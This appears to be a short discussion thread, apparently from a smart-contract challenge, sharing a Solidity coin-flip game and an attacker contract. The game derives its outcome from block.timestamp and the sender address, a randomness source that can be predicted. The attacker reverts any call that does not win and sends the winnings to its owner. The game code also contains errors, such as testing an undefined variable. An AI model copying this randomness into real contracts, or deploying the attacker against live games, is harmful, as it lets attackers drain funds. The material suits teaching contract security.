SimpleGame.sol

contract SimpleGame {
    
    function addFund() public payable {
        // Thank you.
    }    
    
    receive() public payable {
        if (msg.value == 0) {
            return;
        }
        
        uint256 luck = uint256(keccak256(block.timestamp, msg.sender)) % 100;
        // 50% winning chance.
        if (lottery < 50) {
            msg.sender.transfer(2 * msg.value);
        }
    }

}

SimpleGameAttacker.sol

contract SimpleGameAttacker {
    
    address public owner;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function () public payable {

    }
    
    function attack(address gameAddress) public  {
        uint256 balance = this.balance;
        gameAddress.call.value(balance)();
        // balance should update
        if (this.balance <= balance) {
            revert();
        }
    }
    
    function drain() public {
        if (msg.sender != owner) {
            revert();
        }
        owner.transfer(address(this).balance);
    }

}

let's have some fun!!

added a very easy attacker. tested in remix.

attacker contract has to deploy to the same shard as contract being attacked?

@qcdll yes